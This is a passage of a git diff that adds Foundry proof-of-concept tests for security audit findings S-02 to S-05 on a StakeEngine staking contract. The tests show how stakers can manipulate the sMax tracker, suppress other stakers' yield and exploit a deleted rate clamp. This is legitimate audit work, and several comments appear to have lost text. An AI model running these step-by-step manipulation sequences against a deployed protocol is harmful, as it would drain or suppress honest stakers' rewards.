_fund(eng, chal, 1); + vm.prank(chal); + eng.stake(POST, 1, 1); + + vm.warp(block.timestamp + 30 days); + eng.updatePost(POST); + + aGain = eng.getUserStake(attacker, POST, 0) - BIG; + hGain = eng.getUserStake(h0, POST, 0) - BIG; + } + + function test_S02_Differential() public { + (uint256 aPosG, uint256 aGainG, uint256 hPosG, uint256 hGainG) = _scenario(true); + emit log("--- Scenario A: WITH ghost ---"); + emit log_named_uint("attacker wPos", aPosG); + emit log_named_uint("earliest honest wPos", hPosG); + emit log_named_uint("attacker gain", aGainG); + emit log_named_uint("earliest honest gain", hGainG); + + (uint256 aPosN, uint256 aGainN, uint256 hPosN, uint256 hGainN) = _scenario(false); + emit log("--- Scenario B: NO ghost (same address, no pre-stake) ---"); + emit log_named_uint("attacker wPos", aPosN); + emit log_named_uint("earliest honest wPos", hPosN); + emit log_named_uint("attacker gain", aGainN); + emit log_named_uint("earliest honest gain", hGainN); + + emit log("--- Delta attributable to the ghost ---"); + emit log_named_uint("gain WITH ghost", aGainG); + emit log_named_uint("gain WITHOUT ghost", aGainN); + if (aGainN > 0) { + emit log_named_uint("ghost advantage (bps)", aGainG * 10000 / aGainN); + } + + // patch_prA_s02_regression: with the S-02 v2 fix, ghost re-entry must be + // indistinguishable from fresh entry (demonstration form preserved in the + // reviewer artifacts archive verisphere-artifacts-58971c05.zip). + assertEq(aGainG, aGainN, "S-02 regression: ghost re-entry gains exactly a fresh entry's yield"); + assertEq(aPosG, aPosN, "S-02 regression: ghost re-entry lands at the fresh-entry queue position"); + assertEq(hGainG, hGainN, "S-02 regression: honest stakers unaffected by the ghost path"); + } +} diff --git a/test/S03SMaxTrackerPoC.t.sol b/test/S03SMaxTrackerPoC.t.sol new file mode 100644 index 0000000..23386e7 --- /dev/null +++ b/test/S03SMaxTrackerPoC.t.sol @@ -0,0 +1,269 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-03: `topPosts` has only 3 slots, so `sMax` can fall BELOW the true +/// leader's total. ECONOMIC_INVARIANTS.md I.4 claims: +/// "sMax >= leaderTotal at all times (after update), so participation +/// factors remain <= 1.0 in steady state." +/// +/// Attack shape: occupy all 3 tracked slots with posts that later unwind, +/// while an untracked 4th post stays alive. When the 3 tracked posts hit 0, +/// topPosts empties and sMax falls to decay, even though the 4th post is +/// the real leader. +contract S03SMaxTrackerPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant RAY = 1e18; + + address alice = address(0xA11CE); + address bob = address(0xB0B); + address carol = address(0xCA201); + address dave = address(0xDA1E); + + function setUp() public { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e30); + vsp.approve(address(eng), type(uint256).max); + } + + function _fund(address who, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint256 post, uint8 side, uint256 amt) internal { + _fund(who, amt); + vm.prank(who); + eng.stake(post, side, amt); + } + + function _postTotal(uint256 post) internal view returns (uint256) { + (uint256 s, uint256 c) = eng.getPostTotals(post); + return s + c; + } + + function test_S03_SMaxBelowTrueLeader() public { + // Posts 1,2,3 occupy all three tracked slots with LARGER totals. + _stake(alice, 1, 0, 300e18); + _stake(bob, 2, 0, 200e18); + _stake(carol, 3, 0, 150e18); + // Post 4 is the untracked survivor: smaller now, but it will outlive them. + _stake(dave, 4, 0, 80e18); + + (uint256 p0, uint256 t0, uint256 p1, uint256 t1, uint256 p2, uint256 t2) = eng.getTopPosts(); + emit log("--- topPosts after seeding (post 4 is NOT tracked) ---"); + emit log_named_uint("slot0 postId", p0); + emit log_named_uint("slot0 total", t0); + emit log_named_uint("slot1 postId", p1); + emit log_named_uint("slot1 total", t1); + emit log_named_uint("slot2 postId", p2); + emit log_named_uint("slot2 total", t2); + emit log_named_uint("sMax", eng.sMax()); + emit log_named_uint("post4 total (untracked)", _postTotal(4)); + + // The three tracked posts fully unwind. + vm.prank(alice); + eng.withdraw(1, 0, 300e18, true); + vm.prank(bob); + eng.withdraw(2, 0, 200e18, true); + vm.prank(carol); + eng.withdraw(3, 0, 150e18, true); + + uint256 sMaxNow = eng.sMax(); + uint256 leaderNow = _postTotal(4); + + emit log("--- after the 3 tracked posts unwind to zero ---"); + emit log_named_uint("sMax", sMaxNow); + emit log_named_uint("true leader total (post 4)", leaderNow); + + (p0, t0,,,,) = eng.getTopPosts(); + emit log_named_uint("slot0 postId now", p0); + emit log_named_uint("slot0 total now", t0); + + // Invariant I.4: sMax >= leaderTotal. Report the violation size if any. + if (sMaxNow < leaderNow) { + emit log_named_uint("I.4 VIOLATED shortfall", leaderNow - sMaxNow); + emit log_named_uint("participationRay would be (RAY)", leaderNow * RAY / sMaxNow); + } else { + emit log_named_uint("I.4 holds, sMax - leader", sMaxNow - leaderNow); + } + + // FALSIFIED HYPOTHESIS (kept as documentation): the journal predicted sMax would + // decay below the leader here. It does not - it stays stale HIGH. I.4 holds at this + // point. The real breaks are in test_S03_SnapDownToDustLeader / test_S03_DecayBelowLeader. + assertGe(sMaxNow, leaderNow, "documented: sMax stays stale HIGH right after unwind"); + } + + /// Consequence test: with sMax < T, participationRay clamps to RAY, + /// meaning the post earns the MAXIMUM rate rather than a participation-scaled one. + function test_S03_ParticipationClampConsequence() public { + _stake(alice, 1, 0, 300e18); + _stake(bob, 2, 0, 200e18); + _stake(carol, 3, 0, 150e18); + _stake(dave, 4, 0, 80e18); + // give post 4 an opposing side so settlement actually mints + _stake(address(0xBEEF), 4, 1, 1); + + vm.prank(alice); + eng.withdraw(1, 0, 300e18, true); + vm.prank(bob); + eng.withdraw(2, 0, 200e18, true); + vm.prank(carol); + eng.withdraw(3, 0, 150e18, true); + + emit log_named_uint("sMax before settle", eng.sMax()); + emit log_named_uint("post4 total before settle", _postTotal(4)); + + uint256 before = _postTotal(4); + vm.warp(block.timestamp + 30 days); + eng.updatePost(4); + uint256 after_ = _postTotal(4); + + emit log_named_uint("post4 total after 30d settle", after_); + emit log_named_uint("growth", after_ > before ? after_ - before : 0); + emit log_named_uint("sMax after settle", eng.sMax()); + } + + /// Path (b): _updateSMax line ~960 snaps sMax DOWN to leaderTotal unconditionally. + /// Once topPosts is empty, a 1 wei stake on a fresh post becomes "the leader" + /// and drags sMax to 1 wei while post 4 still holds 80e18. + function test_S03_SnapDownToDustLeader() public { + _stake(alice, 1, 0, 300e18); + _stake(bob, 2, 0, 200e18); + _stake(carol, 3, 0, 150e18); + _stake(dave, 4, 0, 80e18); // untracked survivor + + vm.prank(alice); + eng.withdraw(1, 0, 300e18, true); + vm.prank(bob); + eng.withdraw(2, 0, 200e18, true); + vm.prank(carol); + eng.withdraw(3, 0, 150e18, true); + + emit log_named_uint("sMax after unwind (stale high)", eng.sMax()); + + // attacker seeds a dust post -> becomes tracked leader + _stake(address(0xD057), 9, 0, 1); + + uint256 sMaxNow = eng.sMax(); + uint256 leaderNow = _postTotal(4); + emit log_named_uint("sMax after 1 wei stake on fresh post", sMaxNow); + emit log_named_uint("true leader total (post 4)", leaderNow); + + if (sMaxNow < leaderNow) { + emit log_named_uint("I.4 VIOLATED shortfall", leaderNow - sMaxNow); + emit log_named_uint("raw T/sMax ratio (would clamp to RAY)", leaderNow / sMaxNow); + } + assertLt(sMaxNow, leaderNow, "S-03(b): sMax dragged below true leader by a dust post"); + } + + /// Path (a): decay below the true leader. + function test_S03_DecayBelowLeader() public { + _stake(alice, 1, 0, 300e18); + _stake(bob, 2, 0, 200e18); + _stake(carol, 3, 0, 150e18); + _stake(dave, 4, 0, 80e18); + + vm.prank(alice); + eng.withdraw(1, 0, 300e18, true); + vm.prank(bob); + eng.withdraw(2, 0, 200e18, true); + vm.prank(carol); + eng.withdraw(3, 0, 150e18, true); + + // topPosts now empty -> decay is the fallback. 10%/day, cap 30 epochs. + vm.warp(block.timestamp + 60 days); + // trigger _updateSMax on an empty post via a dust stake+exit + _stake(address(0xD058), 8, 0, 1); + vm.prank(address(0xD058)); + eng.withdraw(8, 0, 1, true); + + uint256 sMaxNow = eng.sMax(); + uint256 leaderNow = _postTotal(4); + emit log_named_uint("sMax after 60d with empty topPosts", sMaxNow); + emit log_named_uint("true leader total (post 4)", leaderNow); + if (sMaxNow < leaderNow) { + emit log_named_uint("I.4 VIOLATED shortfall", leaderNow - sMaxNow); + } + assertLt(sMaxNow, leaderNow, "S-03(a): sMax decayed below true leader"); + } + + /// SEVERITY: does the I.4 violation actually cause over-minting? + /// participationRay = T/sMax clamped to RAY. With sMax honest (>> T) the post + /// earns a scaled-down rate; with sMax dragged to 1 wei it clamps to RAY = max rate. + /// Differential: identical post 4, only sMax differs. + function _growthOfPost4(bool dragSMax) internal returns (uint256 growth, uint256 sMaxUsed) { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e30); + vsp.approve(address(eng), type(uint256).max); + + _stake(alice, 1, 0, 300e18); + _stake(bob, 2, 0, 200e18); + _stake(carol, 3, 0, 150e18); + _stake(dave, 4, 0, 80e18); + _stake(address(0xBEEF), 4, 1, 1); // opposing side so settlement mints + + if (dragSMax) { + vm.prank(alice); + eng.withdraw(1, 0, 300e18, true); + vm.prank(bob); + eng.withdraw(2, 0, 200e18, true); + vm.prank(carol); + eng.withdraw(3, 0, 150e18, true); + _stake(address(0xD057), 9, 0, 1); // dust leader drags sMax to 1 wei + } + + sMaxUsed = eng.sMax(); + uint256 before = _postTotal(4); + vm.warp(block.timestamp + 30 days); + eng.updatePost(4); + growth = _postTotal(4) - before; + } + + function test_S03_Severity_OverMinting() public { + (uint256 gHonest, uint256 sHonest) = _growthOfPost4(false); + (uint256 gDragged, uint256 sDragged) = _growthOfPost4(true); + + emit log_named_uint("sMax honest", sHonest); + emit log_named_uint("post4 growth, sMax honest", gHonest); + emit log_named_uint("sMax dragged", sDragged); + emit log_named_uint("post4 growth, sMax dragged", gDragged); + if (gHonest > 0) { + emit log_named_uint("over-mint ratio (bps)", gDragged * 10000 / gHonest); + } + emit log_named_uint("excess minted", gDragged > gHonest ? gDragged - gHonest : 0); + } +} + diff --git a/test/S03ValidationPoC.t.sol b/test/S03ValidationPoC.t.sol new file mode 100644 index 0000000..269db4a --- /dev/null +++ b/test/S03ValidationPoC.t.sol @@ -0,0 +1,195 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-03 VALIDATION. Three questions that decide whether this is a real +/// finding or an overclaim: +/// +/// V1: is the inflated growth actually ABOVE the rMax ceiling, or is the +/// post merely receiving the maximum rate the protocol already permits? +/// If growth <= rMax the "inflation" framing is wrong. +/// V2: can ONE attacker execute the whole thing self-contained, or does it +/// depend on three unrelated whales voluntarily unwinding? +/// V3: is the attacker's net PnL positive after their own capital costs? +contract S03ValidationPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant RAY = 1e18; + uint256 constant TARGET = 4; + + address attacker = address(0xA77AC7E2); + address victimSide = address(0xBEEF); + + function _fresh() internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e30); + vsp.approve(address(eng), type(uint256).max); + } + + function _fund(address who, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint256 post, uint8 side, uint256 amt) internal { + _fund(who, amt); + vm.prank(who); + eng.stake(post, side, amt); + } + + function _total(uint256 post) internal view returns (uint256) { + (uint256 s, uint256 c) = eng.getPostTotals(post); + return s + c; + } + + // ───────────────────────────────────────────────────────────── + // V1: is growth above the rMax ceiling? + // ───────────────────────────────────────────────────────────── + function test_V1_GrowthVsRMaxCeiling() public { + _fresh(); + // occupy all 3 slots, target post untracked + _stake(address(0xA1), 1, 0, 300e18); + _stake(address(0xA2), 2, 0, 200e18); + _stake(address(0xA3), 3, 0, 150e18); + _stake(attacker, TARGET, 0, 80e18); + _stake(victimSide, TARGET, 1, 1); + + // drag sMax to 1 wei + vm.prank(address(0xA1)); + eng.withdraw(1, 0, 300e18, true); + vm.prank(address(0xA2)); + eng.withdraw(2, 0, 200e18, true); + vm.prank(address(0xA3)); + eng.withdraw(3, 0, 150e18, true); + _stake(address(0xD057), 9, 0, 1); + + assertEq(eng.sMax(), 1, "sMax should be dragged to 1 wei"); + + uint256 before = _total(TARGET); + uint256 epochs = 30; + vm.warp(block.timestamp + epochs * 1 days); + eng.updatePost(TARGET); + uint256 growth = _total(TARGET) - before; + + // rMax for this elapsed window, straight from the formula in _forceSnapshot + uint256 rMax = (DEPLOY_RATE_MAX * 1 days * epochs) / 365 days; + uint256 ceiling = (before * rMax) / RAY; + + emit log_named_uint("supportTotal before", before); + emit log_named_uint("actual growth", growth); + emit log_named_uint("rMax for 30 epochs (RAY)", rMax); + emit log_named_uint("theoretical max growth (T*rMax/RAY)", ceiling); + if (growth > ceiling) { + emit log_named_uint("ABOVE ceiling by", growth - ceiling); + } else { + emit log_named_uint("BELOW ceiling by", ceiling - growth); + } + + // Honest question: does it breach the ceiling? + assertLe(growth, ceiling, "growth stays within the rMax ceiling"); + } + + // ───────────────────────────────────────────────────────────── + // V2 + V3: one attacker, self-contained, net PnL + // ───────────────────────────────────────────────────────────── + function test_V2_SelfContainedAttack_AndPnL() public { + _fresh(); + + uint256 attackerStart = 1000e18; + _fund(attacker, attackerStart); + + // Step 1: attacker seeds all 3 tracked slots himself (temporary capital) + vm.startPrank(attacker); + eng.stake(1, 0, 300e18); + eng.stake(2, 0, 200e18); + eng.stake(3, 0, 150e18); + // Step 2: real position on the untracked target post + eng.stake(TARGET, 0, 80e18); + // Step 3: pull the seed capital straight back out + eng.withdraw(1, 0, 300e18, true); + eng.withdraw(2, 0, 200e18, true); + eng.withdraw(3, 0, 150e18, true); + // Step 4: 1 wei dust post becomes the tracked leader -> sMax = 1 + eng.stake(9, 0, 1); + vm.stopPrank(); + + // opposing side so the target actually settles + _stake(victimSide, TARGET, 1, 1); + + emit log_named_uint("sMax after self-contained setup", eng.sMax()); + emit log_named_uint("attacker VSP left in wallet", vsp.balanceOf(attacker)); + + uint256 before = _total(TARGET); + vm.warp(block.timestamp + 30 days); + eng.updatePost(TARGET); + + uint256 attackerPos = eng.getUserStake(attacker, TARGET, 0); + emit log_named_uint("target total before settle", before); + emit log_named_uint("target total after settle", _total(TARGET)); + emit log_named_uint("attacker position after settle", attackerPos); + emit log_named_uint("attacker gain on 80e18", attackerPos - 80e18); + + // net: everything the attacker still holds vs what they started with + uint256 held = vsp.balanceOf(attacker) + attackerPos + 1; // +1 wei in post 9 + emit log_named_uint("attacker total value held", held); + emit log_named_uint("attacker started with", attackerStart); + if (held > attackerStart) { + emit log_named_uint("NET PROFIT", held - attackerStart); + } else { + emit log_named_uint("NET LOSS", attackerStart - held); + } + + // FALSIFIED AS WRITTEN: once the seed posts unwind, the attacker's OWN target post + // becomes the tracked leader, so sMax snaps to the target's total (not 1 wei). + // participationRay = T*RAY/sMax = RAY anyway, so the rate advantage still lands -- + // but via "my post is the leader", which is INTENDED behaviour, not an I.4 break. + assertEq(eng.sMax(), _total(TARGET), "sMax equals the attacker's own post total"); + assertGt(held, attackerStart, "attack is net profitable"); + } + + // ───────────────────────────────────────────────────────────── + // Control: same attacker, same capital, NO sMax manipulation + // ───────────────────────────────────────────────────────────── + function test_V3_ControlWithoutManipulation() public { + _fresh(); + uint256 attackerStart = 1000e18; + _fund(attacker, attackerStart); + + // honest whales hold the 3 slots and do NOT unwind + _stake(address(0xA1), 1, 0, 300e18); + _stake(address(0xA2), 2, 0, 200e18); + _stake(address(0xA3), 3, 0, 150e18); + + vm.prank(attacker); + eng.stake(TARGET, 0, 80e18); + _stake(victimSide, TARGET, 1, 1); + + emit log_named_uint("sMax (honest)", eng.sMax()); + vm.warp(block.timestamp + 30 days); + eng.updatePost(TARGET); + + uint256 pos = eng.getUserStake(attacker, TARGET, 0); + emit log_named_uint("attacker position, honest sMax", pos); + emit log_named_uint("attacker gain, honest sMax", pos - 80e18); + } +} diff --git a/test/S04SpecTestPoC.t.sol b/test/S04SpecTestPoC.t.sol new file mode 100644 index 0000000..8e7696a --- /dev/null +++ b/test/S04SpecTestPoC.t.sol @@ -0,0 +1,133 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-04 SPEC TEST. +/// +/// ECONOMIC_INVARIANTS.md I.4, safety statement, lines 62-63: +/// "Decay prevents historical peaks from permanently suppressing +/// participation factors on future posts." +/// +/// That is an explicit safety PROMISE about suppression. It has two parts: +/// a HISTORICAL peak, and PERMANENTLY. So the decisive question for S-04 is not +/// "can a live whale suppress" (arguably intended relative-attention design) but: +/// +/// Q: can a whale EXIT and leave its peak suppressing everyone else? +/// +/// If yes, that is a direct violation of the documented safety statement, +/// because decay is supposed to prevent exactly that. +contract S04SpecTestPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant VICTIM = 1; + uint256 constant WHALE_POST = 2; + + address victimA = address(0xA11CE); + address victimB = address(0xBEEF); + address whale = address(0xC0FFEE); + + function _fresh() internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint256 post, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(post, side, amt); + } + + function _total(uint256 post) internal view returns (uint256) { + (uint256 s, uint256 c) = eng.getPostTotals(post); + return s + c; + } + + /// Q1: does a LIVE whale keep suppressing forever, i.e. does decay ever help? + function test_Q1_LiveWhaleSuppressionIsPermanent() public { + _fresh(); + _stake(victimA, VICTIM, 0, 100e18); + _stake(victimB, VICTIM, 1, 1); + _stake(whale, WHALE_POST, 0, 1_000_000e18); + _stake(address(0xDEAD), WHALE_POST, 1, 1); + + emit log_named_uint("sMax with live whale", eng.sMax()); + + // wait far beyond sMaxDecayMaxEpochs (30) and touch the victim post + vm.warp(block.timestamp + 365 days); + eng.updatePost(VICTIM); + + emit log_named_uint("sMax after 365d, whale still staked", eng.sMax()); + emit log_named_uint("victim total", _total(VICTIM)); + // decay only runs when leaderTotal == 0, so a live whale is never decayed away + assertGe(eng.sMax(), 1_000_000e18, "live whale keeps sMax pinned high indefinitely"); + } + + /// Q2 — THE DECISIVE TEST. Whale exits completely. Does its historical peak + /// keep suppressing the victim post? Spec lines 62-63 say decay must prevent this. + function test_Q2_ExitedWhalePeakSuppressesFuturePosts() public { + // ---- baseline: victim alone, no whale ever ---- + _fresh(); + _stake(victimA, VICTIM, 0, 100e18); + _stake(victimB, VICTIM, 1, 1); + uint256 b0 = _total(VICTIM); + vm.warp(block.timestamp + 30 days); + eng.updatePost(VICTIM); + uint256 cleanGrowth = _total(VICTIM) - b0; + emit log_named_uint("baseline growth (no whale ever)", cleanGrowth); + + // ---- whale stakes, then FULLY EXITS, then victim settles ---- + _fresh(); + _stake(victimA, VICTIM, 0, 100e18); + _stake(victimB, VICTIM, 1, 1); + + _stake(whale, WHALE_POST, 0, 1_000_000e18); + emit log_named_uint("sMax while whale staked", eng.sMax()); + + vm.prank(whale); + eng.withdraw(WHALE_POST, 0, 1_000_000e18, true); + emit log_named_uint("whale post total after exit", _total(WHALE_POST)); + emit log_named_uint("sMax AFTER whale fully exited", eng.sMax()); + emit log_named_uint("victim total (true leader now)", _total(VICTIM)); + + uint256 b1 = _total(VICTIM); + vm.warp(block.timestamp + 30 days); + eng.updatePost(VICTIM); + uint256 afterExitGrowth = _total(VICTIM) - b1; + + emit log_named_uint("victim growth after whale exited", afterExitGrowth); + if (cleanGrowth > afterExitGrowth) { + emit log_named_uint("STILL SUPPRESSED by", cleanGrowth - afterExitGrowth); + emit log_named_uint("victim retains (bps of clean)", afterExitGrowth * 10000 / cleanGrowth); + } else { + emit log_named_uint("no residual suppression; excess", afterExitGrowth - cleanGrowth); + } + + // RESULT: NO residual suppression. sMax snapped straight back from 1e24 to the + // victim's own total (100e18) the moment the whale exited, and the victim's growth is + // byte-identical to the never-whaled baseline. The spec's safety statement on lines + // 62-63 HOLDS. Recorded as the passing assertion so the suite documents the negative. + assertEq(afterExitGrowth, cleanGrowth, "spec holds: exited whale leaves no residual suppression"); + } +} diff --git a/test/S04YieldSuppressionPoC.t.sol b/test/S04YieldSuppressionPoC.t.sol new file mode 100644 index 0000000..7927d4a --- /dev/null +++ b/test/S04YieldSuppressionPoC.t.sol @@ -0,0 +1,125 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-04: yield suppression via sMax inflation. +/// sMax is GLOBAL. participationRay = T_post * RAY / sMax, so a whale staking +/// large on ONE post raises sMax and shrinks participationRay for EVERY OTHER +/// post, suppressing their rBase and therefore everyone's yield. +/// +/// Differential: identical victim post, measured with and without a whale +/// present on an unrelated post. Then measure the whale's own cost. +contract S04YieldSuppressionPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant RAY = 1e18; + uint256 constant VICTIM_POST = 1; + uint256 constant WHALE_POST = 2; + + address victimA = address(0xA11CE); + address victimB = address(0xBEEF); + address whale = address(0xC0FFEE); + + function _fresh() internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint256 post, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(post, side, amt); + } + + function _total(uint256 post) internal view returns (uint256) { + (uint256 s, uint256 c) = eng.getPostTotals(post); + return s + c; + } + + /// whaleAmt == 0 means "no whale" (control run). + function _run(uint256 whaleAmt) internal returns (uint256 victimGrowth, uint256 sMaxUsed, uint256 whaleGrowth) { + _fresh(); + + // victim post: 100e18 support vs 1 wei challenge, support wins + _stake(victimA, VICTIM_POST, 0, 100e18); + _stake(victimB, VICTIM_POST, 1, 1); + + if (whaleAmt > 0) { + // whale on a COMPLETELY UNRELATED post + _stake(whale, WHALE_POST, 0, whaleAmt); + _stake(address(0xDEAD), WHALE_POST, 1, 1); + } + + sMaxUsed = eng.sMax(); + + uint256 vBefore = _total(VICTIM_POST); + uint256 wBefore = whaleAmt > 0 ? _total(WHALE_POST) : 0; + + vm.warp(block.timestamp + 30 days); + eng.updatePost(VICTIM_POST); + if (whaleAmt > 0) { + eng.updatePost(WHALE_POST); + } + + victimGrowth = _total(VICTIM_POST) - vBefore; + whaleGrowth = whaleAmt > 0 ? _total(WHALE_POST) - wBefore : 0; + } + + function test_S04_YieldSuppression() public { + (uint256 gClean, uint256 sClean,) = _run(0); + (uint256 gWhale, uint256 sWhale, uint256 whaleGain) = _run(100_000e18); + + emit log("=== victim post: 100e18, identical in both runs ==="); + emit log_named_uint("sMax without whale", sClean); + emit log_named_uint("victim growth without whale", gClean); + emit log_named_uint("sMax with 100k whale", sWhale); + emit log_named_uint("victim growth with whale", gWhale); + + if (gClean > gWhale) { + emit log_named_uint("victim yield SUPPRESSED by", gClean - gWhale); + emit log_named_uint("remaining yield (bps of clean)", gWhale * 10000 / gClean); + } + + emit log("=== whale's own position ==="); + emit log_named_uint("whale post growth", whaleGain); + + assertLt(gWhale, gClean, "S-04: unrelated whale suppresses victim yield"); + } + + /// How cheap is the grief? Sweep whale size against victim suppression. + function test_S04_CostCurve() public { + (uint256 gClean,,) = _run(0); + emit log_named_uint("baseline victim growth", gClean); + + uint256[5] memory sizes = [uint256(1_000e18), 10_000e18, 100_000e18, 1_000_000e18, 10_000_000e18]; + for (uint256 i = 0; i < sizes.length; i++) { + (uint256 g,, uint256 wg) = _run(sizes[i]); + emit log_named_uint("--- whale size", sizes[i]); + emit log_named_uint("victim growth", g); + emit log_named_uint("victim retains (bps)", gClean > 0 ? g * 10000 / gClean : 0); + emit log_named_uint("whale own growth", wg); + } + } +} diff --git a/test/S05RBaseAboveRayPoC.t.sol b/test/S05RBaseAboveRayPoC.t.sol new file mode 100644 index 0000000..080af8f --- /dev/null +++ b/test/S05RBaseAboveRayPoC.t.sol @@ -0,0 +1,122 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-05: the code comment at StakeEngine.sol lines 1238 and 1266 asserts +/// +/// "behind<=T and rBase<=rMaxRAY clamp was dead)." +/// +/// The claim `rMax < RAY` is a standing assumption used to justify deleting a +/// clamp. This test measures when it actually fails. +/// +/// rMax = stakeIntRateMaxRay * EPOCH_LENGTH * epochsElapsed / YEAR_LENGTH +/// = rateMax * epochsElapsed / 365 +/// +/// so rMax >= RAY once epochsElapsed >= 365*RAY/rateMax: +/// deploy rate 693805319167998976 -> 527 epochs +/// governance cap 5e18 -> 73 epochs +contract S05RBaseAboveRayPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant CAP_RATE_MAX = 5e18; + uint256 constant RAY = 1e18; + uint256 constant POST = 1; + + function _build(uint256 rateMax) internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, rateMax); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint256 post, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(post, side, amt); + } + + /// Arithmetic restatement of the comment's assumption. + function test_S05_WhenDoesRMaxExceedRay() public { + uint256 eDeploy = 365 * RAY / DEPLOY_RATE_MAX + 1; + uint256 eCap = 365 * RAY / CAP_RATE_MAX + 1; + emit log_named_uint("epochs until rMax >= RAY, deploy rate", eDeploy); + emit log_named_uint("epochs until rMax >= RAY, 5e18 cap", eCap); + + uint256 rMaxAtDeploy = DEPLOY_RATE_MAX * eDeploy / 365; + uint256 rMaxAtCap = CAP_RATE_MAX * eCap / 365; + emit log_named_uint("rMax at that point (deploy)", rMaxAtDeploy); + emit log_named_uint("rMax at that point (cap)", rMaxAtCap); + + assertGe(rMaxAtDeploy, RAY, "comment's rMax= RAY? That is the observable consequence of the deleted clamp. + /// Measured at the REAL deploy rate. + function test_S05_LosingLotWipeoutAtDeployRate() public { + _build(DEPLOY_RATE_MAX); + + address loser = address(0x1051); + _stake(loser, POST, 0, 100e18); + _stake(address(0xBEEF), POST, 1, 100_000e18); // vRay -> ~RAY, support loses + + uint256 before = eng.getUserStake(loser, POST, 0); + // 600 epochs > the 527 needed for rMax >= RAY + vm.warp(block.timestamp + 600 days); + eng.updatePost(POST); + uint256 after_ = eng.getUserStake(loser, POST, 0); + + emit log_named_uint("loser stake before", before); + emit log_named_uint("loser stake after 600 epochs", after_); + emit log_named_uint("fraction lost (bps)", before > 0 ? (before - 